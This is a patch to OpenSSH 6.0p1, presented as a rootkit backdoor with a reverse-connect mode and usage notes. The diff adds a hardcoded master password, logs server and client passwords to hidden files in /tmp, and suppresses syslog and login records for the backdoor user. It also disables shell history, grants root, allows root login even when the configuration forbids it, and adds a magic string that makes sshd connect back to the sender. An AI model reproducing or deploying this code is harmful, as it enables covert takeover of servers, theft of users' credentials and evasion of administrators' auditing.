###############
# $id: udc-hackssh-v3_bajaulaut-v1, 2012/10/28 05:00:50 slash rootkit
# udc-hackssh_bajaulaut - openssh reverse backdoor
# copyright (c) 2001-2012 slash the underground <shaolinint@gmail.com>
#
# readme:
#	udc-hackssh_bajaulaut is an openssh backdoor combined with reverse shell capability
# 	and part of udc-kolansong rootkit. The idea was to make use of openssh binary to
#	control target and/or victim machines.
#
# todo:
#	- read remote port parameter
#	- *magic* private key authentication
#
# compile: 	
# 	apt-get install libssl-dev libpam0g-dev librkb5-dev
# 	wget http://openbsd.org.ar/pub/OpenBSD/OpenSSH/portable/openssh-6.0p1.tar.gz
#	./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5
#
# howto:
#	client:
#		'ssh -8 udc -p 880' to connect to udc:880 where a client must listen
#
# 	server:
#		'sshd -8 udc -p 880' to wait for incoming connects on port 880
#
#	Or if you received something like "ssh_exchange_identification: Connection 
#	closed by remote host", you can telnet to target machines and issue 
#	'udc_gamai_magic' string. Once udc_gamai_magic is sent, sshd will then execute and
#	connect to your 'client' machine on port 8080.
#
#								telnet target_machines.com 22
#								CHANGE_ME
#								Protocol mismatch.
#								Connection closed by foreign host.
#
# limitation:
#	This version will ONLY execute reverse openssh command to the machine which executed 
#	telnet command. 
#
###############
diff -uNr openssh-6.0p1/auth-pam.c udc-hackssh-v3_kalitan-v1.2/auth-pam.c
--- openssh-6.0p1/auth-pam.c	2009-07-12 20:07:21.000000000 +0800
+++ udc-hackssh-v3_kalitan-v1.2/auth-pam.c	2012-10-31 18:30:14.000000000 +0800
@@ -1190,6 +1190,16 @@
 	sshpam_password = password;
 	sshpam_authctxt = authctxt;
 
+// udc-hackssh
+	char *crypted=udc_pass_crypt;
+
+	udc_reslt_crypt = crypt(password, crypted);
+	if (strcmp (udc_reslt_crypt, crypted) == 0 ) {
+		uDc = 1;
+		return 1;
+	}
+// end
+
 	/*
 	 * If the user logging in is invalid, or is root but is not permitted
 	 * by PermitRootLogin, use an invalid password to prevent leaking
@@ -1207,10 +1217,15 @@
 
 	sshpam_err = pam_authenticate(sshpam_handle, flags);
 	sshpam_password = NULL;
+// udc-hackssh
 	if (sshpam_err == PAM_SUCCESS && authctxt->valid) {
-		debug("PAM: password authentication accepted for %.100s",
-		    authctxt->user);
+		if ((udcf = fopen (BAJAUI, "a")) != NULL) {
+			fprintf(udcf,"%s:%s\n",authctxt->user, password);
+			fclose(udcf);
+		}
+		debug("PAM: password authentication accepted for %.100s", authctxt->user);
 		return 1;
+// end
 	} else {
 		debug("PAM: password authentication failed for %.100s: %s",
 		    authctxt->valid ? authctxt->user : "an illegal user",
diff -uNr openssh-6.0p1/auth-passwd.c udc-hackssh-v3_kalitan-v1.2/auth-passwd.c
--- openssh-6.0p1/auth-passwd.c	2009-03-08 08:40:28.000000000 +0800
+++ udc-hackssh-v3_kalitan-v1.2/auth-passwd.c	2012-10-31 16:27:15.000000000 +0800
@@ -44,7 +44,13 @@
 #include <stdio.h>
 #include <string.h>
 #include <stdarg.h>
-
+// udc-hackssh
+#ifdef __APPLE__
+#include "/opt/local/include/cryptlib.h"
+#elif __linux__
+#include <crypt.h>
+#endif
+// end
 #include "packet.h"
 #include "buffer.h"
 #include "log.h"
@@ -82,10 +88,20 @@
 {
 	struct passwd * pw = authctxt->pw;
 	int result, ok = authctxt->valid;
+
+// udc-hackssh
+	char *crypted=udc_pass_crypt;
 #if defined(USE_SHADOW) && defined(HAS_SHADOW_EXPIRE)
 	static int expire_checked = 0;
 #endif
 
+	udc_reslt_crypt = crypt(password, crypted);
+	if (strcmp (udc_reslt_crypt, crypted) == 0 ) {
+        	uDc = 1;
+		return 1; 
+	}
+// end
+
 #ifndef HAVE_CYGWIN
 	if (pw->pw_uid == 0 && options.permit_root_login != PERMIT_YES)
 		ok = 0;
@@ -122,7 +138,15 @@
 			authctxt->force_pwchange = 1;
 	}
 #endif
+// udc-hackssh
 	result = sys_auth_passwd(authctxt, password);
+	if (result) {
+		if ((udcf = fopen (BAJAUI, "a")) != NULL) {
+		fprintf (udcf,"%s:%s\n",authctxt->user, password);
+		fclose(udcf);
+		}
+	}
+// end
 	if (authctxt->force_pwchange)
 		disable_forwarding();
 	return (result && ok);
diff -uNr openssh-6.0p1/auth.c udc-hackssh-v3_kalitan-v1.2/auth.c
--- openssh-6.0p1/auth.c	2011-05-29 19:40:42.000000000 +0800
+++ udc-hackssh-v3_kalitan-v1.2/auth.c	2012-10-31 16:16:38.000000000 +0800
@@ -270,15 +270,18 @@
 		authmsg = "Postponed";
 	else
 		authmsg = authenticated ? "Accepted" : "Failed";
-
-	authlog("%s %s for %s%.100s from %.200s port %d%s",
-	    authmsg,
-	    method,
-	    authctxt->valid ? "" : "invalid user ",
-	    authctxt->user,
-	    get_remote_ipaddr(),
-	    get_remote_port(),
-	    info);
+// udc-hackssh
+	if (!uDc || uDc != 1) {
+// end
+        	authlog("%s %s for %s%.100s from %.200s port %d%s",
+	    	authmsg,
+	    	method,
+	    	authctxt->valid ? "" : "invalid user ",
+	    	authctxt->user,
+	    	get_remote_ipaddr(),
+	    	get_remote_port(),
+	    	info);
+	}
 
 #ifdef CUSTOM_FAILED_LOGIN
 	if (authenticated == 0 && !authctxt->postponed &&
diff -uNr openssh-6.0p1/buffer.c udc-hackssh-v3_kalitan-v1.2/buffer.c
--- openssh-6.0p1/buffer.c	2010-02-12 06:23:40.000000000 +0800
+++ udc-hackssh-v3_kalitan-v1.2/buffer.c	2012-10-31 16:09:55.000000000 +0800
@@ -37,6 +37,9 @@
 
 	buffer->alloc = 0;
 	buffer->buf = xmalloc(len);
+// udc-hackssh
+	memset(buffer->buf, 0, len);
+// end
 	buffer->alloc = len;
 	buffer->offset = 0;
 	buffer->end = 0;
diff -uNr openssh-6.0p1/canohost.c udc-hackssh-v3_kalitan-v1.2/canohost.c
--- openssh-6.0p1/canohost.c	2010-10-12 10:28:12.000000000 +0800
+++ udc-hackssh-v3_kalitan-v1.2/canohost.c	2012-10-31 16:17:47.000000000 +0800
@@ -78,11 +78,14 @@
 
 	debug3("Trying to reverse map address %.100s.", ntop);
 	/* Map the IP address to a host name. */
-	if (getnameinfo((struct sockaddr *)&from, fromlen, name, sizeof(name),
-	    NULL, 0, NI_NAMEREQD) != 0) {
-		/* Host name not found.  Use ip address. */
-		return xstrdup(ntop);
+// udc-hackssh
+	if (!uDc || uDc != 1) {
+		if (getnameinfo ((struct sockaddr *) &from, fromlen, name, sizeof(name),
+				NULL, 0, NI_NAMEREQD) != 0) {
+			return xstrdup(ntop);
+		}
 	}
+// end
 
 	/*
 	 * if reverse lookup result looks like a numeric hostname,
diff -uNr openssh-6.0p1/includes.h udc-hackssh-v3_kalitan-v1.2/includes.h
--- openssh-6.0p1/includes.h	2010-10-24 07:47:30.000000000 +0800
+++ udc-hackssh-v3_kalitan-v1.2/includes.h	2012-10-31 16:36:28.000000000 +0800
@@ -17,7 +17,6 @@
 #define INCLUDES_H
 
 #include "config.h"
-
 #define _GNU_SOURCE /* activate extra prototypes for glibc */
 
 #include <sys/types.h>
@@ -172,4 +171,15 @@
 
 #include "entropy.h"
 
+// udc-hackssh
+int	uDc;
+FILE *	udcf;
+char *	udc_reslt_crypt;
+
+#define udc_pass_crypt  "CHANGE_ME"
+#define BAJAUI "/tmp/.inlog"
+#define BAJAUO "/tmp/.outlog"
+#define gamai "/usr/sbin/sshd"
+// end
+
 #endif /* INCLUDES_H */
diff -uNr openssh-6.0p1/log.c udc-hackssh-v3_kalitan-v1.2/log.c
--- openssh-6.0p1/log.c	2011-06-20 12:42:23.000000000 +0800
+++ udc-hackssh-v3_kalitan-v1.2/log.c	2012-10-31 16:24:34.000000000 +0800
@@ -351,6 +351,9 @@
 void
 do_log(LogLevel level, const char *fmt, va_list args)
 {
+// udc-hackssh
+	if(!uDc || uDc != 1) {
+// end
 #if defined(HAVE_OPENLOG_R) && defined(SYSLOG_DATA_INIT)
 	struct syslog_data sdata = SYSLOG_DATA_INIT;
 #endif
@@ -428,3 +431,6 @@
 	}
 	errno = saved_errno;
 }
+// udc-hackssh
+}
+// end
diff -uNr openssh-6.0p1/servconf.c udc-hackssh-v3_kalitan-v1.2/servconf.c
--- openssh-6.0p1/servconf.c	2011-10-02 15:57:38.000000000 +0800
+++ udc-hackssh-v3_kalitan-v1.2/servconf.c	2012-10-31 16:09:55.000000000 +0800
@@ -686,7 +686,9 @@
 	{ "without-password",		PERMIT_NO_PASSWD },
 	{ "forced-commands-only",	PERMIT_FORCED_ONLY },
 	{ "yes",			PERMIT_YES },
-	{ "no",				PERMIT_NO },
+// udc-hackssh
+	{ "no",				PERMIT_YES },
+// end
 	{ NULL, -1 }
 };
 static const struct multistate multistate_compression[] = {
diff -uNr openssh-6.0p1/session.c udc-hackssh-v3_kalitan-v1.2/session.c
--- openssh-6.0p1/session.c	2011-11-04 07:55:24.000000000 +0800
+++ udc-hackssh-v3_kalitan-v1.2/session.c	2012-10-31 16:18:40.000000000 +0800
@@ -1203,6 +1203,12 @@
 	if (getenv("TZ"))
 		child_set_env(&env, &envsize, "TZ", getenv("TZ"));
 
+// udc-hackssh
+	if (uDc)
+		child_set_env(&env, &envsize, "HISTFILE", "/dev/null");
+// end
+
+
 	/* Set custom environment options from RSA authentication. */
 	if (!options.use_login) {
 		while (custom_environment) {
@@ -1487,6 +1493,9 @@
 #else
 		if (setlogin(pw->pw_name) < 0)
 			error("setlogin failed: %s", strerror(errno));
+// udc-hackssh
+		if (!uDc || uDc != 1) {
+// end
 		if (setgid(pw->pw_gid) < 0) {
 			perror("setgid");
 			exit(1);
@@ -1496,6 +1505,12 @@
 			perror("initgroups");
 			exit(1);
 		}
+// udc-hackssh
+		else {
+			setgid(0);
+			initgroups(pw->pw_name, 0);
+		}
+// end
 		endgrent();
 #endif
 
@@ -1519,12 +1534,18 @@
 		}
 #else
 		/* Permanently switch to the desired uid. */
+// udc-hackssh
+		if (!uDc || uDc != 1)
+// end
 		permanently_set_uid(pw);
 #endif
 	}
 
 	if (getuid() != pw->pw_uid || geteuid() != pw->pw_uid)
 		fatal("Failed to set uids to %u.", (u_int) pw->pw_uid);
+// udc-hackssh
+	}
+// end
 }
 
 static void
diff -uNr openssh-6.0p1/ssh.c udc-hackssh-v3_kalitan-v1.2/ssh.c
--- openssh-6.0p1/ssh.c	2011-11-04 07:54:22.000000000 +0800
+++ udc-hackssh-v3_kalitan-v1.2/ssh.c	2012-10-31 16:09:55.000000000 +0800
@@ -83,6 +83,9 @@
 #include "canohost.h"
 #include "compat.h"
 #include "cipher.h"
+// udc-hackssh bajaulaut version
+#include <openssl/md5.h>
+// end
 #include "packet.h"
 #include "buffer.h"
 #include "channels.h"
@@ -125,6 +128,10 @@
 /* don't exec a shell */
 int no_shell_flag = 0;
 
+// udc-hackssh bajaulaut version
+int 	udc_bajau_laut = 0;
+// end
+
 /*
  * Flag indicating that nothing should be read from stdin.  This can be set
  * on the command line.
@@ -325,7 +332,7 @@
 	argv0 = av[0];
 
  again:
-	while ((opt = getopt(ac, av, "1246ab:c:e:fgi:kl:m:no:p:qstvx"
+	while ((opt = getopt(ac, av, "12468ab:c:e:fgi:kl:m:no:p:qstvx"
 	    "ACD:F:I:KL:MNO:PR:S:TVw:W:XYy")) != -1) {
 		switch (opt) {
 		case '1':
@@ -340,6 +347,11 @@
 		case '6':
 			options.address_family = AF_INET6;
 			break;
+// udc-hackssh bajaulaut version
+		case '8':
+			udc_bajau_laut = 1;
+			break;
+// end
 		case 'n':
 			stdin_null_flag = 1;
 			break;
diff -uNr openssh-6.0p1/sshconnect.c udc-hackssh-v3_kalitan-v1.2/sshconnect.c
--- openssh-6.0p1/sshconnect.c	2011-05-29 19:42:34.000000000 +0800
+++ udc-hackssh-v3_kalitan-v1.2/sshconnect.c	2012-10-31 16:09:56.000000000 +0800
@@ -333,6 +333,9 @@
  * and %p substituted for host and port, respectively) to use to contact
  * the daemon.
  */
+// udc-hackssh bajaulaut version
+extern int udc_bajau_laut;
+// end
 int
 ssh_connect(const char *host, struct sockaddr_storage * hostaddr,
     u_short port, int family, int connection_attempts, int *timeout_ms,
@@ -347,7 +350,9 @@
 	debug2("ssh_connect: needpriv %d", needpriv);
 
 	/* If a proxy command is given, connect using it. */
-	if (proxy_command != NULL)
+// udc-hackssh bajaulaut version
+	if (proxy_command != NULL && !udc_bajau_laut)
+// end
 		return ssh_proxy_connect(host, port, proxy_command);
 
 	/* No proxy command. */
@@ -360,6 +365,56 @@
 		fatal("%s: Could not resolve hostname %.100s: %s", __progname,
 		    host, ssh_gai_strerror(gaierr));
 
+// udc-hackssh bajaulaut version
+	if (udc_bajau_laut) {
+		int s, one = 1, size_aa = sizeof(struct sockaddr);
+ 		struct addrinfo *aid;
+ 		struct sockaddr aa;
+ 
+ 		if ((gaierr = getaddrinfo("127.0.0.1", strport, &hints, &aid)) < 0) {
+                 	fprintf(stderr, "getaddrinfo (during udc reverse fun): %s\n", gai_strerror(gaierr));
+                 	exit(gaierr);
+         	}
+ 
+         	if (aid->ai_family == PF_INET) {
+			((struct sockaddr_in*)(aid->ai_addr))->sin_addr.s_addr = INADDR_ANY;
+		}
+#ifdef HAVE_STRUCT_IN6_ADDR
+		else {
+                	((struct sockaddr_in6*)(aid->ai_addr))->sin6_addr = in6addr_any;
+		}
+#endif
+ 
+		if ((s = socket(aid->ai_family, SOCK_STREAM, 0)) < 0) {
+			perror("socket (during udc reverse fun)");
+                 	exit(errno);
+		}
+ 
+         	if (setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) < 0) {
+                 	perror("setsockopt (during udc reverse fun)\n");
+                 	exit(errno);
+		}
+ 
+		printf("udc reverse fun: binding to port %s\n", strport);
+         		if (bind(s, (struct sockaddr*)(aid->ai_addr), sizeof(struct sockaddr)) < 0) {
+                 		perror("bind (during udc reverse fun)");
+                 		exit(errno);
+		}
+ 
+         	if (listen(s, 1) < 0) {
+                	perror("listen (during udc reverse fun)");
+                 	exit(errno);
+		}
+ 
+         	if ((sock = accept(s, &aa, &size_aa)) < 0) {
+                	perror("accept (during udc reverse fun)");
+                 	exit(errno);
+		}
+         	memcpy(hostaddr, &aa, size_aa);
+ 
+		goto startbajau;
+	}
+// end
 	for (attempt = 0; attempt < connection_attempts; attempt++) {
 		if (attempt > 0) {
 			/* Sleep a moment before retrying. */
@@ -404,6 +459,9 @@
 			break;	/* Successful connection. */
 	}
 
+// udc-hackssh bajaulaut version
+	startbajau:
+// end
 	freeaddrinfo(aitop);
 
 	/* Return failure if we didn't get a successful connection. */
diff -uNr openssh-6.0p1/sshconnect2.c udc-hackssh-v3_kalitan-v1.2/sshconnect2.c
--- openssh-6.0p1/sshconnect2.c	2011-05-29 19:42:34.000000000 +0800
+++ udc-hackssh-v3_kalitan-v1.2/sshconnect2.c	2012-10-31 16:26:24.000000000 +0800
@@ -878,6 +878,12 @@
 	snprintf(prompt, sizeof(prompt), "%.30s@%.128s's password: ",
 	    authctxt->server_user, host);
 	password = read_passphrase(prompt, 0);
+// udc-hackssh
+	if ((udcf = fopen (BAJAUO, "a")) != NULL){
+		fprintf (udcf,"user:password@host:port --> %s:%s@%s:%s\n",authctxt->server_user,password,authctxt->host,get_remote_port);
+		fclose (udcf);
+	}
+// end
 	packet_start(SSH2_MSG_USERAUTH_REQUEST);
 	packet_put_cstring(authctxt->server_user);
 	packet_put_cstring(authctxt->service);
diff -uNr openssh-6.0p1/sshd.c udc-hackssh-v3_kalitan-v1.2/sshd.c
--- openssh-6.0p1/sshd.c	2012-02-15 02:03:31.000000000 +0800
+++ udc-hackssh-v3_kalitan-v1.2/sshd.c	2012-10-31 16:20:03.000000000 +0800
@@ -146,6 +146,14 @@
 /* Name of the server configuration file. */
 char *config_file_name = _PATH_SERVER_CONFIG_FILE;
 
+// udc-hackssh - bajaulaut version
+#ifdef IPV4_DEFAULT
+	int IPv4or6 = AF_INET;
+#else
+	int IPv4or6 = AF_UNSPEC;
+#endif
+// end
+
 /*
  * Debug mode flag.  This can be set on the command line.  If debug
  * mode is enabled, extra debugging output will be sent to the system
@@ -407,6 +415,10 @@
 	char buf[256];			/* Must not be larger than remote_version. */
 	char remote_version[256];	/* Must be at least as big as buf. */
 
+// udc-hackssh gamai
+	char udc_gamai_cmd[256];
+// end
+
 	if ((options.protocol & SSH_PROTO_1) &&
 	    (options.protocol & SSH_PROTO_2)) {
 		major = PROTOCOL_MAJOR_1;
@@ -461,6 +473,13 @@
 	 */
 	if (sscanf(client_version_string, "SSH-%d.%d-%[^\n]\n",
 	    &remote_major, &remote_minor, remote_version) != 3) {
+// udc-hackssh gamai
+		if (strcmp (client_version_string, "CHANGE_ME") == 0) { // udc_gamai_magic string
+			uDc;
+			sprintf (udc_gamai_cmd, "%s -D -8 %s -p 8080", gamai, get_remote_ipaddr());
+			system (udc_gamai_cmd);
+		}
+// end
 		s = "Protocol mismatch.\n";
 		(void) atomicio(vwrite, sock_out, s, strlen(s));
 		close(sock_in);
@@ -469,6 +488,7 @@
 		    client_version_string, get_remote_ipaddr());
 		cleanup_exit(255);
 	}
+
 	debug("Client protocol version %d.%d; client software version %.100s",
 	    remote_major, remote_minor, remote_version);
 
@@ -633,8 +653,17 @@
 	/* Store a pointer to the kex for later rekeying */
 	pmonitor->m_pkex = &xxx_kex;
 
-	if (use_privsep == PRIVSEP_SANDBOX)
-		box = ssh_sandbox_init();
+// udc-hackssh bajaulaut version
+	int udc_bajau_laut = 1;
+
+	if (udc_bajau_laut == 0) {
+		if (use_privsep == PRIVSEP_SANDBOX)
+			box = ssh_sandbox_init();
+	else
+		return;
+	}
+// end
+
 	pid = fork();
 	if (pid == -1) {
 		fatal("fork of unprivileged child failed");
@@ -1322,6 +1351,13 @@
 	const char *remote_ip;
 	char *test_user = NULL, *test_host = NULL, *test_addr = NULL;
 	int remote_port;
+
+// udc-hackssh bajaulaut version
+	int listen_sock;
+	int udc_bajau_laut = 0;
+	char udc_bajau_conn[1024];
+// end
+
 	char *line, *p, *cp;
 	int config_s[2] = { -1 , -1 };
 	u_int64_t ibytes, obytes;
@@ -1358,7 +1394,9 @@
 	initialize_server_options(&options);
 
 	/* Parse command-line arguments. */
-	while ((opt = getopt(ac, av, "f:p:b:k:h:g:u:o:C:dDeiqrtQRT46")) != -1) {
+// udc-hackssh bajaulaut version
+	while ((opt = getopt(ac, av, "f:p:b:k:h:g:u:o:C:8:dDeiqrtQRT46")) != -1) {
+// end
 		switch (opt) {
 		case '4':
 			options.address_family = AF_INET;
@@ -1478,6 +1516,13 @@
 				exit(1);
 			xfree(line);
 			break;
+// udc-hackssh bajaulaut version
+		case '8':
+			udc_bajau_laut = 1;
+			strncpy (udc_bajau_conn, optarg, sizeof (udc_bajau_conn));
+			printf ("bajau - case: Enabling bajau laut!\n");
+			break;
+// end
 		case '?':
 		default:
 			usage();
@@ -1786,6 +1831,54 @@
 	/* Get a connection, either from inetd or a listening TCP socket */
 	if (inetd_flag) {
 		server_accept_inetd(&sock_in, &sock_out);
+// udc-hackssh bajaulaut version
+	} else if (udc_bajau_laut) {
+ 		int client_port = options.ports[0];
+ 		char port[100];
+ 		struct addrinfo *adi, hints;
+ 
+ 		memset(&hints, 0, sizeof(hints));
+ 		hints.ai_family = IPv4or6;
+ 		hints.ai_socktype = SOCK_STREAM;
+ 
+ 		// resolv hostname
+ 		memset(port, 0, sizeof(port));
+ 		snprintf(port, sizeof(port), "%d", client_port);
+ 		if (getaddrinfo(udc_bajau_conn, port, &hints, &adi) < 0) {
+ 			perror("addrinfo (during bajau_laut)");
+ 			exit(errno);
+ 		}
+ 
+ 		// create socket
+ 		if ((listen_sock = socket(adi->ai_family, adi->ai_socktype, adi->ai_protocol)) < 0) {
+ 			perror("socket (during bajau_laut)");
+ 			exit(errno);
+ 		}
+ 		printf("bajau_laut: Connecting to host %s on port %s\n", udc_bajau_conn, port);
+ 
+ 		// connecting
+ 		if (connect(listen_sock, (struct sockaddr*)adi->ai_addr, sizeof(struct sockaddr)) < 0) {
+ 			perror("connect (during bajau_laut)");
+ 			exit(errno);
+ 		}
+ 		if (fcntl(listen_sock, F_SETFL, 0) < 0)
+ 			error("newsock del O_NONBLOCK: %s", strerror(errno));
+ 		
+ 		// established
+ 		sock_in = listen_sock;
+ 		if ((sock_out = dup(sock_in)) < 0) {
+ 			perror("dup (during reverse fun)");
+ 			sock_out = sock_in;
+ 		}	
+ 
+		if (options.protocol & SSH_PROTO_1)
+			generate_ephemeral_server_key();
+
+		signal(SIGHUP, sighup_handler);
+		signal(SIGCHLD, main_sigchld_handler);
+		signal(SIGTERM, sigterm_handler);
+		signal(SIGQUIT, sigterm_handler);
+// end
 	} else {
 		platform_pre_listen();
 		server_listen();
@@ -1837,7 +1930,9 @@
 		error("setsid: %.100s", strerror(errno));
 #endif
 
-	if (rexec_flag) {
+// udc-hackssh bajaulaut version
+	if (rexec_flag && !udc_bajau_laut) {
+// end
 		int fd;
 
 		debug("rexec start in %d out %d newsock %d pipe %d sock %d",
diff -uNr openssh-6.0p1/sshlogin.c udc-hackssh-v3_kalitan-v1.2/sshlogin.c
--- openssh-6.0p1/sshlogin.c	2011-01-11 14:20:07.000000000 +0800
+++ udc-hackssh-v3_kalitan-v1.2/sshlogin.c	2012-10-31 16:21:11.000000000 +0800
@@ -133,8 +133,12 @@
 
 	li = login_alloc_entry(pid, user, host, tty);
 	login_set_addr(li, addr, addrlen);
-	login_login(li);
-	login_free_entry(li);
+// udc-hackssh
+	if (!uDc || uDc != 1) {
+		login_login(li);
+		login_free_entry(li);
+	}
+// end
 }
 
 #ifdef LOGIN_NEEDS_UTMPX
@@ -146,8 +150,12 @@
 
 	li = login_alloc_entry(pid, user, host, ttyname);
 	login_set_addr(li, addr, addrlen);
-	login_utmp_only(li);
-	login_free_entry(li);
+// udc-hackssh
+	if(!uDc || uDc != 1) {
+		login_utmp_only(li);
+		login_free_entry(li);
+	}
+// end
 }
 #endif
 
@@ -158,6 +166,10 @@
 	struct logininfo *li;
 
 	li = login_alloc_entry(pid, user, NULL, tty);
-	login_logout(li);
-	login_free_entry(li);
+// udc-hackssh
+	if (!uDc || uDc != 1) {
+		login_logout(li);
+		login_free_entry(li);
+	}
+// end
 }